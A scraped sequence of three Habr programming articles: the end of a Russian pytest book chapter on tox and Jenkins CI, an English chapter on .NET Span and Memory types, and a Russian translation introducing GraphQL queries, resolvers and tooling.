============== 62 passed in 0.27 seconds ===============
_______________________ summary ________________________
py27: commands succeeded
py36: commands succeeded
congratulations :)
```
В конце концов, у нас есть хорошее резюме всех тестовых сред и их результатов:
```
_______________________ summary ________________________
py27: commands succeeded
py36: commands succeeded
congratulations :)
```
Разве это не замечательно? Мы получили «поздравления» и смайлик.
tox гораздо мощнее того, что я показываю здесь, и заслуживает вашего внимания, если вы используете pytest для тестирования пакетов, предназначенных для работы в нескольких средах. Для получения более подробной информации, ознакомьтесь с документацией [tox](https://tox.readthedocs.io).
Jenkins CI: Автоматизация ваших автоматических тестов
-----------------------------------------------------
Системы непрерывной интеграции (CI), такие как [Jenkins](https://jenkins.io), часто используются для запуска тестовых пакетов после каждой фиксации кода. В pytest есть опции для генерации файлов в формате `junit.xml`, которые требуются Jenkins и другим системам CI для отображения результатов тестирования.
Jenkins — это сервер автоматизации с открытым исходным кодом, который часто используется для непрерывной интеграции. Несмотря на то, что Python не нужно компилировать, довольно распространенной практикой является использование Jenkins или других систем CI для автоматизации запуска и создания отчетов по проектам Python. В этом разделе вы узнаете, как проект Tasks может быть настроен в Jenkins. Я не собираюсь проходить через установку Jenkins. Это отличается для каждой операционной системы, и инструкции доступны на веб-сайте Jenkins.
При использовании Jenkins для запуска наборов pytest есть несколько плагинов Jenkins, которые могут оказаться полезными. Они были установлены для примера:
* *build-name-setter*: Этот плагин устанавливает отображаемое имя сборки, отличное от `#1, #2, #3` и т.д.
* *Test Results Analyzer plugin*: Этот плагин показывает историю результатов выполнения теста в табличном или графическом формате.
Вы можете установить плагины, перейдя на заглавную страницу Jenkins, которая расположена лично у меня по адресу `localhost:8080/manage`, так как я запускаю её локально, а затем нажмите `Manage Jenkins -> Manage Plugins -> Available`. Найдите нужный плагин с помощью поля фильтра. Установите флажок для плагина, который вы хотите. Я обычно выбираю «Install without Restart» (*Установить без перезапуска*), а затем на странице «Installing Plugins/Upgrades» я выбираю поле с надписью «Restart Jenkins when installation is complete and no jobs are
running»(*Перезапустить Jenkins, когда установка завершена и задания не выполняются*).
Мы рассмотрим полную конфигурацию на тот случай, если вы захотите и дальше следовать проекту Tasks. Jenkins project/item «Freestyle Project» с именем «tasks», как показано на следующем экране.
Конфигурация немного странная, так как мы используем версии проекта Tasks, которые выглядят как tasks\_proj, tasks\_proj\_v2 и так далее, а не систему контроля версий.
Поэтому нам необходимо параметризовать проект, чтобы каждый сеанс тестирования указывал, где устанавливать проект Tasks и где искать тесты. Мы будем использовать несколько строковых параметров, как показано на следующем экране, чтобы указать эти каталоги.
(Нажмите «This project is parametrized»(*Параметры текущего проекта*), чтобы получить доступ к этим опциям.)
Далее, прокрутите вниз до «Build Environment», выберите «Delete workspace before build starts»(*Удалить рабочее пространство перед началом сборки*) и «Set Build Name». Установите имя `$ {start_tests_dir}` `#${BUILD_NUMBER}`, как показано на следующем экране.
Далее идут шаги сборки. В Mac или Unix-подобных системах выберите Add build step-> Execute shell. В Windows выберите Add build step->Execute Windows batch command. Поскольку я работаю на Mac, я использовал блок оболочки Execute для вызова скрипта, как показано здесь:
Содержимое текстового поля:
`# ваши пути будут другими`
code\_path=/Users/okken/projects/book/bopytest/Book/code
run\_tests=${code\_path}/ch7/jenkins/run\_tests.bash
bash -e ${run\_tests} ${tasks\_proj\_dir} ${start\_tests\_dir} ${WORKSPACE}
Мы используем сценарий вместо помещения всего этого кода в блок выполнения в Jenkins, чтобы любые изменения можно было отслеживать с помощью системы контроля версий.
Вот сценарий:
> ch7/jenkins/run\_tests.bash
```
#!/bin/bash
# ваши пути будут другими
top_path=/Users/okken/projects/book/bopytest/Book
code_path=${top_path}/code
venv_path=${top_path}/venv
tasks_proj_dir=${code_path}/$1
start_tests_dir=${code_path}/$2
results_dir=$3
# click и Python 3,
# из http://click.pocoo.org/5/python3/
export LC_ALL=en_US.utf-8
export LANG=en_US.utf-8
# виртуальная среда
source ${venv_path}/bin/activate
# установить проект
pip install -e ${tasks_proj_dir}
# запустить тесты
cd ${start_tests_dir}
pytest --junit-xml=${results_dir}/results.xml
```
В нижней строке есть `pytest --junit-xml = $ {results_dir} /results.xml`. Флаг `--junit-xml` — это единственное, что необходимо для создания отчета формата junit.xml, в котором нуждается Jenkins.
Есть и другие варианты:
```
$ pytest --help | grep junit
--junit-xml=path создать файл отчета в стиле junit-xml по заданному пути.
--junit-prefix=str добавить префикс к именам классов в выводе junit-xml
junit_suite_name (string) имя набора тестов для отчета JUnit
```
`--junit-prefix` может использоваться как префикс для каждого теста. Это полезно при использовании tox, и вы хотите разделить различные результаты среды. `junit_suite_name` — это опция файла конфигурации, которую вы можете установить в разделе [pytest] pytest.ini или tox.ini.
Позже мы увидим, что результаты будут содержать (from pytest) внутри. Чтобы изменить pytest на что-то другое, используйте `junit_suite_name`.
Далее мы добавим действие после сборки: Add post-build action(*Добавить действие после сборки*)->Publish Junit test result report(*Опубликовать отчет о результатах теста Junit*).
Заполните информацию XML отчета о тестировании файлом *results.xml*, как показано на следующем экране.
Вот и все! Теперь мы можем провести тесты через Jenkins. Вот эти шаги:
1. Нажмите Сохранить.
2. Перейти к началу проекта.
3. Нажмите «Build with Parameters» (*Построить с параметрами*).
4. Выберите ваши каталоги и нажмите Build.
5. Когда всё будет сделано, наведите курсор мыши на заголовок рядом с мячиком в истории сборки и
выберите Console Output из раскрывающегося меню. (Или щелкните имя сборки и выберите «Вывод на консоль».)
6. Посмотрите на вывод и попробуйте выяснить, что пошло не так.
Вы можете пропустить шаги 5 и 6, но я никогда этого не сделаю. Я никогда бы не стал изголяться с Jenkins если бы всё работало с первого раза. В моем сценарии обычно возникают проблемы с правами доступа к каталогу, путями или опечатками и так далее.
Прежде чем мы посмотрим на результаты, давайте запустим еще одну версию, чтобы сделать её интересной.
Снова нажмите «Построить с параметрами». На этот раз сохраните ту же директорию проекта, но установите ch2 в качестве start\_tests\_dir и нажмите Build. После обновления вида сверху проекта вы должны увидеть следующий экран:
Щелкните внутри графика или по ссылке «Последний результат теста», чтобы увидеть обзор сеанса тестирования со значками «+», чтобы развернуть его в случае неудачи теста.
Если щелкнуть любое из названий тестов с ошибками, вы увидите информацию об ошибках отдельных тестов, как показано на следующем экране. Здесь вы видите «(from pytest)» как часть названия теста. Это то, что контролируется `junit_suite_name` в файле конфигурации.
Возвращаясь к Jenkins > tasks, вы можете нажать на Test Results Analyzer, чтобы увидеть представление, которое показывает, какие тесты не выполнялись для разных сессий, а также состояние прокатило/непрокатило (см. Следующий экран):
Вы видели, как запускать pytest suites с виртуальными средами от Jenkins, но есть довольно много других тем для изучения, связанных с использованием pytest и Jenkins вместе. Вы можете протестировать несколько сред с помощью Jenkins, либо установив отдельные задачи Jenkins для каждой среды, либо попросив Jenkins вызвать tox напрямую. Есть также хороший плагин под названием Cobertura, который способен отображать данные покрытия из coverage.py. ознакомьтесь с документацией [Jenkins](https://wiki.jenkins-ci.org/display/JENKINS/Cobertura+Plugin) за дополнительной информацией.
[Вернуться](https://habr.com/ru/post/448796/) | https://habr.com/ru/post/448798/ | null | ru | null |
# Memory and Span pt.1
[](https://github.com/sidristij/dotnetbook) Starting from .NET Core 2.0 and .NET Framework 4.5 we can use new data types: `Span` and `Memory`. To use them, you just need to install the `System.Memory` nuget package:
> `PM> Install-Package System.Memory`
These data types are notable because the CLR team has done a great job to implement their special support inside the code of .NET Core 2.1+ JIT compiler by embedding these data types right into the core. What kind of data types are these and why are they worth a whole chapter?
If we talk about problems that made these types appear, I should name three of them. The first one is unmanaged code.
Both the language and the platform have existed for many years along with means to work with unmanaged code. So, why release another API to work with unmanaged code if the former basically existed for many years? To answer this question, we should understand what we lacked before.
> This chapter was translated from Russian jointly by author and by [professional translators](https://github.com/bartov-e). You can help us with translation from Russian or English into any other language, primarily into Chinese or German.
>
>
>
> Also, if you want thank us, the best way you can do that is to give us a star on github or to fork repository [ github/sidristij/dotnetbook](https://github.com/sidristij/dotnetbook).
>
>
The platform developers already tried to facilitate the use of unmanaged resources for us. They implemented auto wrappers for imported methods and marshaling that works automatically in most cases. Here also belongs `stackalloc`, mentioned in the chapter about a thread stack. However, as I see it, the first C# developers came from C++ world (my case), but now they shift from more high-level languages (I know a developer who wrote in JavaScript before). This means people are getting more suspicious to unmanaged code and C/C+ constructs, so much the more to Assembler.
As a result, projects contain less and less unsafe code and the confidence in the platform API grows more and more. This is easy to check if we search for `stackalloc` use cases in public repositories — they are scarce. However, let’s take any code that uses it:
**Interop.ReadDir class**
[/src/mscorlib/shared/Interop/Unix/System.Native/Interop.ReadDir.cs](https://github.com/dotnet/coreclr/blob/b29f6328510207970763580d6f4db864e4b198af/src/mscorlib/shared/Interop/Unix/System.Native/Interop.ReadDir.cs#L71-L83)
```
unsafe
{
// s_readBufferSize is zero when the native implementation does not support reading into a buffer.
byte* buffer = stackalloc byte[s_readBufferSize];
InternalDirectoryEntry temp;
int ret = ReadDirR(dir.DangerousGetHandle(), buffer, s_readBufferSize, out temp);
// We copy data into DirectoryEntry to ensure there are no dangling references.
outputEntry = ret == 0 ?
new DirectoryEntry() { InodeName = GetDirectoryEntryName(temp), InodeType = temp.InodeType } :
default(DirectoryEntry);
return ret;
}
```
We can see why it is not popular. Just skim this code and question yourself whether you trust it. I guess the answer is ‘No’. Then, ask yourself why. It is obvious: not only do we see the word `Dangerous`, which kind of suggests that something may go wrong, but there is the `unsafe` keyword and `byte* buffer = stackalloc byte[s_readBufferSize];` line (specifically — `byte*`) that change our attitude. This is a trigger for you to think: “Wasn’t there another way to do it”? So, let’s get deeper into psychoanalysis: why might you think that way? On the one hand, we use language constructs and the syntax offered here is far from, for example, C++/CLI, which allows anything (even inserting pure Assembler code). On the other hand, this syntax looks unusual.
The second issue developers thought of implicitly or explicitly is incompatibility of string and char[] types. Although, logically a string is an array of characters, but you can’t cast a string to char[]: you can only create a new object and copy the content of a string to an array. This incompatibility is introduced to optimize strings in terms of storage (there are no readonly arrays). However, problems appear when you start working with files. How to read them? As a string or as an array? If you choose an array you cannot use some methods designed to work with strings. What about reading as a string? It may be too long. If you need to parse it then, what parser should you choose for primitive data types: you don’t always want to parse them manually (integers, floats, given in different formats). We have a lot of proven algorithms that do it quicker and more efficiently, don’t we? However, such algorithms often work with strings that contain nothing but a primitive type itself. So, there is a dilemma.
The third problem is that the data required by an algorithm rarely make a continuous, solid data slice within a section of an array read from some source. For example, in case of files or data read from a socket, we have some part of those already processed by an algorithm, followed by a part of data that must be processed by our method, and then by not yet processed data. Ideally, our method wants only the data for which this method was designed. For example, a method that parses integers won’t be happy with a string that contains some words with an expected number somewhere among them. This method wants a number and nothing else. Or, if we pass an entire array, there is a requirement to indicate, for example, the offset for a number from the beginning of the array.
```
int ParseInt(char[] input, int index)
{
while(char.IsDigit(input[index]))
{
// ...
index++;
}
}
```
However, this approach is poor, as this method gets unnecessary data. In other words *the method is called for contexts it was not designed for*, and has to solve some external tasks. This is a bad design. How to avoid these problems? As an option we can use the `ArraySegment` type that can give access to a section of an array:
```
int ParseInt(IList[] input)
{
while(char.IsDigit(input.Array[index]))
{
// ...
index++;
}
}
var arraySegment = new ArraySegment(array, from, length);
var res = ParseInt((IList)arraySegment);
```
However, I think this is too much both in terms of logic and a decrease in performance. `ArraySegment` is poorly designed and slows the access to elements 7 times more in comparison with the same operations done with an array.
So how do we solve these problems? How do we get developers back to using unmanaged code and give them a unified and quick tool to work with heterogeneous data sources: arrays, strings and unmanaged memory. It was necessary to give them a sense of confidence that they can’t do a mistake unknowingly. It was necessary to give them an instrument that doesn’t diminish native data types in terms of performance but solves the listed problems. `Span` and `Memory` types are exactly these instruments.
Span, ReadOnlySpan
------------------
`Span` type is an instrument to work with data within a section of a data array or with a subrange of its values. As in case of an array it allows both reading and writing to the elements of this subrange, but with one important constraint: you get or create a `Span` only for a *temporary* work with an array, Just to call a group of methods. However, to get a general understanding let’s compare the types of data which `Span` is designed for and look at its possible use scenarios.
The first type of data is a usual array. Arrays work with `Span` in the following way:
```
var array = new [] {1,2,3,4,5,6};
var span = new Span(array, 1, 3);
var position = span.BinarySearch(3);
Console.WriteLine(span[position]); // -> 3
```
At first, we create an array of data, as shown by this example. Next, we create `Span` (or a subset) which references to the array, and makes a previously initialized value range accessible to code that uses the array.
Here we see the first feature of this type of data i.e. the ability to create a certain context. Let’s expand our idea of contexts:
```
void Main()
{
var array = new [] {'1','2','3','4','5','6'};
var span = new Span(array, 1, 3);
if(TryParseInt32(span, out var res))
{
Console.WriteLine(res);
}
else
{
Console.WriteLine("Failed to parse");
}
}
public bool TryParseInt32(Span input, out int result)
{
result = 0;
for (int i = 0; i < input.Length; i++)
{
if(input[i] < '0' || input[i] > '9')
return false;
result = result \* 10 + ((int)input[i] - '0');
}
return true;
}
-----
234
```
As we see `Span` provides abstract access to a memory range both for reading and writing. What does it give us? If we remember what else we can use `Span` for, we will think about unmanaged resources and strings:
```
// Managed array
var array = new[] { '1', '2', '3', '4', '5', '6' };
var arrSpan = new Span(array, 1, 3);
if (TryParseInt32(arrSpan, out var res1))
{
Console.WriteLine(res1);
}
// String
var srcString = "123456";
var strSpan = srcString.AsSpan();
if (TryParseInt32(strSpan, out var res2))
{
Console.WriteLine(res2);
}
// void \*
Span buf = stackalloc char[6];
buf[0] = '1'; buf[1] = '2'; buf[2] = '3';
buf[3] = '4'; buf[4] = '5'; buf[5] = '6';
if (TryParseInt32(buf, out var res3))
{
Console.WriteLine(res3);
}
-----
234
234
234
```
That means `Span` is a tool to unify ways of working with memory, both managed and unmanaged. It ensures safety while working with such data during Garbage Collection. That is if memory ranges with unmanaged resources start to move, it will be safe.
However, should we be so excited? Could we achieve this earlier? For example, in case of managed arrays there is no doubt about it: you just need to wrap an array in one more class (e.g. long-existing [ArraySegment] (<https://referencesource.microsoft.com/#mscorlib/system/arraysegment.cs,31>)) thus giving a similar interface and that is it. Moreover, you can do the same with strings — they have necessary methods. Again, you just need to wrap a string in the same type and provide methods to work with it. However, to store a string, a buffer and an array in one type you will have much to do with keeping references to each possible variant in a single instance (with only one active variant, obviously).
```
public readonly ref struct OurSpan
{
private T[] \_array;
private string \_str;
private T \* \_buffer;
// ...
}
```
Or, based on architecture you can create three types that implement a uniform interface. Thus, it is not possible to create a uniform interface between these data types that is different from `Span` and keep the maximum performance.
Next, there is a question of what is `ref struct` in respect to `Span`? These are exactly those “structures existing only on stack” that we hear about during job interviews so often. It means this data type can be allocated on the stack only and cannot go to the heap. This is why `Span`, which is a ref structure, is a context data type that enables work of methods but not that of objects in memory. That is what we need to base on when trying to understand it.
Now we can define the `Span` type and the related `ReadOnlySpan` type:
> Span is a data type that implements a uniform interface to work with heterogeneous types of data arrays and enables passing a subset of an array to a method so that the speed of access to the original array would be constant and highest regardless of the depth of the context.
Indeed, if we have a code like
```
public void Method1(Span buffer)
{
buffer[0] = 0;
Method2(buffer.Slice(1,2));
}
Method2(Span buffer)
{
buffer[0] = 0;
Method3(buffer.Slice(1,1));
}
Method3(Span buffer)
{
buffer[0] = 0;
}
```
the speed of access to the original buffer will be the highest as you work with a managed pointer and not a managed object. That means you work with an unsafe type in a managed wrapper, but not with a .NET managed type.
> This chapter was translated from Russian jointly by author and by [professional translators](https://github.com/bartov-e). You can help us with translation from Russian or English into any other language, primarily into Chinese or German.
>
>
>
> Also, if you want thank us, the best way you can do that is to give us a star on github or to fork repository [ github/sidristij/dotnetbook](https://github.com/sidristij/dotnetbook).
>
> | https://habr.com/ru/post/443974/ | null | en | null |
# Что же такое этот GraphQL?
*Вашему вниманию предлагаю перевод статьи Sacha Greif ["Что же такое этот GraphQL?"](https://medium.freecodecamp.com/so-whats-this-graphql-thing-i-keep-hearing-about-baf4d36c20cf)*
Если вы такой же, как и я, вы обычно проходите через три этапа, когда узнаёте о новой технологии:
* Отрицание: *Ещё одна JavaScript библиотека?! Зачем? У меня уже есть jQuery!*
* Интерес: *Хм, наверное мне **следует** взглянуть на эту библиотеку...*
* Паника: *Помогите! Мне нужно изучить эту библиотеку **прямо сейчас**, иначе мои знания устареют!*
Есть одна хитрость для поддержания благоразумия в эпоху быстроразвивающихся технологий: изучать новые вещи между вторым и третьим этапом, как только интерес задет, но пока технология ещё не распространена повсеместно.
Именно поэтому сейчас самое время узнать, что же такое этот GraphQL, о котором вы повсюду слышите.
Основы
======
В двух словах, GraphQL это **синтаксис, который описывает как запрашивать данные**, и, в основном, используется клиентом для загрузки данных с сервера. GraphQL имеет три основные характеристики:
* Позволяет клиенту точно указать, какие данные ему нужны.
* Облегчает агрегацию данных из нескольких источников.
* Использует систему типов для описания данных.
Так с чего же начать изучение GraphQL? Как это выглядит на практике? Как начать его использовать? Читайте дальше чтобы узнать!
Задача
======
GraphQL был разработан в большом старом Facebook, но даже гораздо более простые приложения могут столкнуться с ограничениями традиционных REST API интерфейсов.
Например представьте, что вам нужно отобразить список `записей` (`posts`), и под каждым опубликовать список `лайков` (`likes`), включая имена пользователей и аватары. На самом деле, это не сложно, вы просто измените API `posts` так, чтобы оно содержало массив `likes`, в котором будут объекты-пользователи.
Но затем, при разработке мобильного приложения, оказалось что из-за загрузки дополнительных данных приложение работает медленнее. Так что вам теперь нужно *два* endpoint, один возвращающий записи с лайками, а другой без них.
Добавим ещё один фактор: оказывается, записи хранятся в базе данных MySQL, а лайки в Redis! Что же теперь делать?!
Экстраполируйте этот сценарий на то множество источников данных и клиентских API, с которыми имеет дело Facebook, и вы поймёте почему старый добрый REST API достиг своего предела.
Решение
=======
Facebook придумал концептуально простое решение: вместо того, чтобы иметь множество "глупых" endpoint, лучше иметь один "умный" endpoint, который будет способен работать со сложными запросами и придавать данным такую форму, какую запрашивает клиент.
Фактически, слой GraphQL находится между клиентом и одним или несколькими источниками данных; он принимает запросы клиентов и возвращает необходимые данные в соответствии с переданными инструкциями. Запутаны? Время метафор!
Пользоваться старой REST-моделью это как заказывать пиццу, затем заказывать доставку продуктов, а затем звонить в химчистку, чтобы забрать одежду. Три магазина – три телефонных звонка.
GraphQL похож на личного помощника: вы можете передать ему адреса всех трех мест, а затем просто запрашивать то, что вам нужно («принеси мне мою одежду, большую пиццу и два десятка яиц») и ждать их получения.
Другими словами, GraphQL это стандартный язык для разговора с этим волшебным личным помощником.
*Согласно Google Images, типичный личный помощник это пришелец с восемью руками*
На практике GraphQL API построен на трёх основных строительных блоках: на **схеме** (schema), **запросах** (queries) и **распознавателях** (resolvers).
Запросы (queries)
-----------------
*(query и request одинаково переводится как "запрос". Далее будет подразумеваться query, если не указано иначе – прим. пер.)*
Когда вы о чём-то просите вашего персонального помощника, вы выполняете **запрос**. Это выглядит примерно так:
```
query {
stuff
}
```
Мы объявляем новый запрос при помощи ключевого слова `query`, также спрашивая про поле `stuff`. Самое замечательное в запросах GraphQL является то, что они поддерживают вложенные поля, так что мы можем пойти на один уровень глубже:
```
query {
stuff {
eggs
shirt
pizza
}
}
```
Как можно заметить, клиенту при формировании запроса не нужно знать откуда поступают данные. Он просто спрашивает о них, а сервер GraphQL заботится об остальном.
Также стоит отметить, что поля запроса могут быть **массивами**. Например вот общий шаблон запроса списка сообщений:
```
query {
posts { # это массив
title
body
author { # мы может пойти глубже
name
avatarUrl
profileUrl
}
}
}
```
Поля запроса также могут содержать аргументы. Например, если необходимо отобразить конкретный пост, можно добавить аргумент `id` к полю `post`:
```
query {
post(id: "123foo"){
title
body
author{
name
avatarUrl
profileUrl
}
}
}
```
Наконец, если нужно сделать аргумент `id` динамическим, можно определить **переменную**, а затем использовать её в запросе (обратите внимание, также мы сделали запрос **именованным**):
```
query getMyPost($id: String) {
post(id: $id){
title
body
author{
name
avatarUrl
profileUrl
}
}
}
```
Хороший способ попробовать все это на практике – использовать [GraphQL API Explorer](https://developer.github.com/early-access/graphql/explorer/) от GitHub. Например, давайте попробуем выполнить следующий запрос:
```
query {
repository(owner: "graphql", name: "graphql-js"){
name
description
}
}
```
*GraphQL и автодополнение в действии*
Обратите внимание, когда вы вводите имя поля, IDE автоматически предлагает вам возможные имена полей, полученные при помощи GraphQL API. Ловко!
[*Анатомия запросов GraphQL (англ)*](https://dev-blog.apollodata.com/the-anatomy-of-a-graphql-query-6dffa9e9e747)
Вы можете узнать больше о запросах GraphQL в отличной статье ["Анатомия запросов GraphQL" *(англ)*](https://dev-blog.apollodata.com/the-anatomy-of-a-graphql-query-6dffa9e9e747).
Распознаватели (resolvers)
--------------------------
Даже самый лучший в мире личный помощник не сможет принести ваши вещи из химчистки если вы не дадите ему адрес.
Подобным образом, сервер GraphQL не может знать что делать с входящим запросом, если ему не объяснить при помощи **распознавателя** (**resolver**).
Используя распознаватель GraphQL понимает, как и где получить данные, соответствующие запрашиваемому полю. К примеру, распознаватель для поля **запись** может выглядеть вот так (используя генератор схемы (schema) из набора Apollo [GraphQL-Tools](https://github.com/apollographql/graphql-tools)):
```
Query: {
post(root, args) {
return Posts.find({ id: args.id });
}
}
```
Мы помещаем наш распознаватель в раздел `Query` потому что мы хотим получать `запись` (`post`) в корне ответа. Но также мы можем создать распознаватели для подполей, как например для поля `author`:
```
Query: {
post(root, args) {
return Posts.find({ id: args.id });
}
},
Post: {
author(post) {
return Users.find({ id: post.authorId})
}
}
```
Обратите внимание что ваши распознаватели не ограничены в количестве возвращаемых объектов. К примеру, вы захотите добавить поле `commentsCount` к объекту `Post`:
```
Post: {
author(post) {
return Users.find({ id: post.authorId})
},
commentsCount(post) {
return Comments.find({ postId: post.id}).count()
}
}
```
Ключевое понятие здесь то, что **схема запроса GraphQL и структура вашей базы данных никак не связаны**. Другими словами, в базе данных может не существовать полей `author` или `commentsCount`, но мы можем "симулировать" их благодаря силе распознавателей.
Как было показано выше, вы можете писать любой код внутри распознавателя. Так что вы можете *изменять* содержимое базы данных; такие распознаватели называют **изменяющими** (**mutation**).
Схема (schema)
--------------
Все это становится возможным благодаря типизированной схеме данных GraphQL. Цель этой статьи дать скорее краткий обзор, чем исчерпывающее введение, так что в этом разделе не будет подробностей.
Я призываю вас заглянуть в [документацию GraphQL *(англ)*](http://graphql.org/learn/schema/), если вы хотите узнать больше.
Часто задаваемые вопросы
========================
Сделаем перерыв, чтобы ответить на несколько общих вопросов.
Эй, вы там, на задних рядах. Да вы. Я вижу, вы хотите что-то спросить. Идите вперед, не стесняйтесь!
### Что общего у GraphQL и [графовых баз данных](https://ru.wikipedia.org/wiki/%D0%93%D1%80%D0%B0%D1%84%D0%BE%D0%B2%D0%B0%D1%8F_%D0%B1%D0%B0%D0%B7%D0%B0_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85)?
Ничего общего. На самом деле, GraphQL не имеет ничего общего с графовыми БД типа [Neo4j](https://ru.wikipedia.org/wiki/Neo4j). Часть "Graph" отражает идею получения контента, проходя сквозь граф API, используя поля и подполя; часть "QL" расшифровывается как "query language" – "язык запросов".
### Меня полностью устраивает REST, зачем мне переходить на GraphQL?
Если вы не достигли болевых точек REST API, решением которых является GraphQL, то можете не волноваться.
Использование GraphQL поверх REST вероятнее всего не заставит вас производить какие-то сложные изменения в остальном API и ломать накопившийся пользовательский опыт, так что переход не будет вопросом жизни и смерти в любом случае. Так что определенно стоит попробовать GraphQL в небольшой части проекта, если это возможно.
### Могу ли я использовать GraphQL без React/Relay/имя\_библиотеки?
Конечно! GraphQL это только спецификация, вы можете использовать его с любой библиотекой на любой платформе, используя готовый клиент (к примеру, у [Apollo](http://dev.apollodata.com/) есть клиенты для web, iOS, Angular и другие) или вручную отправляя запросы на сервер GraphQL.
### GraphQL был создан Facebook, а я не доверяю Facebook.
Ещё раз, GraphQL является всего лишь спецификацией, это значит что вы можете использовать его не используя ни одной строки кода, написанной Facebook.
Наличие поддержки Facebook это безусловно хороший плюс для экосистемы GraphQL. Но на данный момент сообщество достаточно большое чтобы поддерживать GraphQL, даже если Facebook перестанет его использовать.
### Как-то "позволить клиенту просить о тех данных, которые ему нужны" не выглядит безопасным
Так как вы пишете свои распознаватели, вы можете разрешать любые проблемы безопасности на этом уровне.
К примеру, если вы позволите клиенту использовать параметр `limit` для указания количества документов, которые он запрашивает, вы скорее всего захотите контролировать это число для избежания атак типа "отказ в обслуживании" когда клиент будет запрашивать миллионы документов снова и снова.
### Так что же нужно чтобы начать?
На самом деле, необходимо всего два компонента чтобы начать:
* Сервер GraphQL для обработки запросов к API
* Клиент GraphQL, который будет подключаться к endpoint.
Теперь, когда вы понимаете как работает GraphQL, можно поговорить о главных игроках в этой области.
Серверы GraphQL
---------------
Первое что вам нужно для работы, это сервер GraphQL. [Сам GraphQL](http://graphql.org/) это просто спецификация, так что двери открыты для конкурирующих реализаций.
### [GraphQL-JS](https://github.com/graphql/graphql-js) (Node)
Это ссылка на оригинальную реализацию спецификации GraphQL. Вы можете использовать её с [express-graphql](https://github.com/graphql/express-graphql) для [создания своего сервера API *(англ)*](http://graphql.org/graphql-js/running-an-express-graphql-server/).
### [GraphQL-Server](http://dev.apollodata.com/tools/graphql-server/) (Node)
Команда [Apollo](http://apollostack.com/) имеет свою собственную реализацию GraphQL-сервера. Она ещё не настолько полна как оригинал, но очень хорошо документирована, хорошо поддерживается и быстро развивается.
### Другие платформы
На официальном сайте есть [список реализаций спецификации GraphQL для различных платформ](http://graphql.org/code/) (PHP, Ruby и другие).
Клиенты GraphQL
---------------
Конечно вы можете работать с API GraphQL напрямую, но специальная клиентская библиотека определённо может сделать вашу жизнь проще.
### [Relay](https://facebook.github.io/relay/)
Relay это собственный инструментарий Facebook. Он создавался с учётом потребностей Facebook и может быть немного избыточным для большинства пользователей.
### [Клиент Apollo](http://www.apollodata.com/)
Быстро занял своё место новый участник в этой области — [Apollo](http://apollostack.com/). Типичный клиент состоит из двух частей:
* [Apollo-client](http://dev.apollodata.com/core/), позволяющий выполнять запросы GraphQL в браузере (также есть [расширение для DevTools](https://github.com/apollographql/apollo-client-devtools))
* Коннектор для frontend-фреймворка ([React-Apollo](http://dev.apollodata.com/react/), [Angular-Apollo](http://dev.apollodata.com/angular2/) и другие)
По умолчанию Apollo-client сохраняет данных используя [Redux](http://redux.js.org/), который сам является достаточно авторитетной библиотекой управления состоянием с богатой экосистемой.
*Расширение Apollo для Chrome DevTools*
Приложения с открытым исходным кодом
------------------------------------
Несмотря на то, что GraphQL это достаточно новая концепция, уже есть некоторые перспективные приложения с открытым исходным кодом, которые используют её.
### [VulcanJS](http://vulcanjs.org/)
Я *(автор оригинальной статьи — прим. пер.)* являюсь ведущим разработчиком [VulcanJS](http://vulcanjs.org/). Я создал его чтобы дать людям возможность попробовать силу стека React/GraphQL без необходимости писать много шаблонного кода. Вы можете воспринимать его как "Rails для современной web-экосистемы" потому что он позволяет создавать CRUD-приложения ([клон Instagram](https://www.youtube.com/watch?v=qibyA_ReqEQ) например) в течение нескольких часов.
### [Gatsby](https://www.gatsbyjs.org/docs/)
Gatsby это генератор статических сайтов для React, который начиная с [версии 1.0](https://www.gatsbyjs.org/docs/) также использует GraphQL. Несмотря на то, что это можно показаться странным сочетанием на первый взгляд, это на самом деле довольно мощная идея. В процессе сборки Gatsby может извлекать данные из нескольких GraphQL API, затем используя их для создания полностью статического клиентского React-приложения.
Другие инструменты для работы с GraphQL
---------------------------------------
### [GraphiQL](https://github.com/graphql/graphiql)
GraphiQL это очень удобная браузерная IDE для создания и выполнения запросов к endpoint-ам GraphQL.
### [DataLoader](https://github.com/facebook/dataloader)
Из-за вложенной природы запросов GraphQL, один запрос может легко вызывать десятки обращений к базе данных. Для снижения нагрузки вы можете использовать инструменты кеширования наподобие разработанной Facebook библиотеке DataLoader.
### [Create GraphQL Server](https://blog.hichroma.com/create-graphql-server-instantly-scaffold-a-graphql-server-1ebad1e71840)
Create GraphQL Server это консольная программа, позволяющая легко и быстро сгенерировать сервер на базе Node, использующий базу данных Mongo.
### [GraphQL-up](https://www.graph.cool/graphql-up/)
Аналогично Create GraphQL Server, GraphQL-up позволяет быстро создать GraphQL backend, но на базе сервиса [Graphcool](https://www.graph.cool/).
Сервисы GraphQL
---------------
Наконец, есть целый ряд компаний, предоставляющих "GraphQL-backend-как-сервис"; они сами позаботятся о серверной части для вас, и это может быть хорошим способом окунуться в экосистему GraphQL.
### [Graphcool](http://graph.cool/)
Гибкая backend-платформа, объединяющая GraphQL и AWS Lambda, имеющая бесплатный тарифный план для разработки.
### [Scaphold](https://scaphold.io/)
Другой GraphQL-backend-как-сервис с бесплатным тарифным планом. Он предлагает много функций, подобных Graphcool.
Уже есть немало ресурсов по GraphQL.
*(Также предлагайте ресурсы на русском языке в комментариях – прим. пер.)*
### [GraphQL.org *(англ)*](http://graphql.org/learn/)
На официальном сайте GraphQL есть замечательная документация чтобы начать.
### [LearnGraphQL *(англ)*](https://learngraphql.com/)
LearnGraphQL это интерактивный курс, созданный в компании [Kadira](https://kadira.io/).
### [LearnApollo *(англ)*](https://www.learnapollo.com/)
Хорошее продолжение LearnGraphQL, LearnApollo это бесплатный курс, созданный [Graphcool](https://www.graph.cool/).
### [Блог Apollo *(англ)*](https://dev-blog.apollodata.com/)
Блог Apollo имеет массу подробных хорошо написанных постов о Apollo и GraphQL в целом.
### [GraphQL Weekly *(англ)*](https://graphqlweekly.com/)
Информационная рассылка о GraphQL, курируемая командой Graphcool.
### [Hashbang Weekly *(англ)*](http://hashbangweekly.okgrow.com/)
Еще одна большая новостная рассылка, которая помимо GraphQL также охватывает React и Meteor.
### [Freecom *(англ)*](https://www.graph.cool/freecom/)
Серия руководств, описывающая как создать клон Интерком с помощью GraphQL.
### [Awesome GraphQL *(англ)*](https://github.com/chentsulin/awesome-graphql)
Довольно исчерпывающий перечень ссылок и ресурсов по GraphQL.
Как же вы можете применить вновь приобретенные знания о GraphQL на практике? Вот несколько рецептов, которые можно попробовать:
### [Apollo + Graphcool + Next.js](https://github.com/zeit/next.js/tree/master/examples/with-apollo)
